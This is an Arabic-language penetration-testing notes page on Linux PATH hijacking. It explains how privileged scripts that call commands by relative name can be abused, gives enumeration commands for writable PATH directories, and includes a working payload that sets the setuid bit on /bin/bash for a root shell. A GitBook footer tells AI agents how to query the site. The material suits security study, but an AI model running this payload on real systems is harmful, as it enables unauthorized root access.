> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking.md).

# اختطاف PATH

يستغل اختطاف PATH البرامج أو البرامج النصية ذات الامتيازات التي تستدعي الأوامر بدون مسارات مطلقة. إذا كان المهاجم يتحكم في دليل يسبق في `PATH`، يمكن للعملية ذات الامتيازات تنفيذ الملف الثنائي الخاص بالمهاجم.

## المنهجية

* تعرّف على البرامج النصية أو الملفات الثنائية ذات الامتيازات التي تستدعي الأدوات بالاسم بدلًا من المسار الكامل.
* تأكد من بيئة التنفيذ والأدلة القابلة للكتابة في `PATH`.
* ضع ملفًا تنفيذيًا مُتحكمًا به يحمل الاسم المتوقع وفعّل سير العمل ذي الامتيازات.

## فحوصات سريعة

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

ابحث تحديدًا عن البرامج ذات الامتيازات التي تستدعي أوامر أخرى بدون مسارات مطلقة:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

تحقق مما إذا كان أي `PATH` دليل حالي قابلًا للكتابة:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## نمط حمولة بسيط

إذا كان برنامج نصي ذو امتيازات يستدعي أمرًا باسم نسبي، فأنشئ ملفًا تنفيذيًا يحمل الاسم نفسه في دليل قابل للكتابة وانقل ذلك الدليل إلى مقدمة `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

فعّل البرنامج النصي الضعيف أو انتظر حتى يعمل سير العمل ذي الامتيازات، ثم تحقّق مما يلي:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>اختطاف PATH test.c</h4></td><td>ملاحظات اختطاف PATH (test.c) لترقية الامتيازات في Linux، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير.</td><td><a href="/pages/2088ecbe5c3fe51fe19faaa159d2803aad3c654c">/pages/2088ecbe5c3fe51fe19faaa159d2803aad3c654c</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>اختطاف PATH باستخدام tar</h4></td><td>ملاحظات اختطاف PATH (tar) لترقية الامتيازات في Linux، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير.</td><td><a href="/pages/c917512fe5bc6dcc17c72711524db75c94399afd">/pages/c917512fe5bc6dcc17c72711524db75c94399afd</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>اختطاف PATH باستخدام gzip</h4></td><td>ملاحظات اختطاف PATH (gzip) لترقية الامتيازات في Linux، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير.</td><td><a href="/pages/b005d8335bb051910c1cab24166674a9404720f6">/pages/b005d8335bb051910c1cab24166674a9404720f6</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
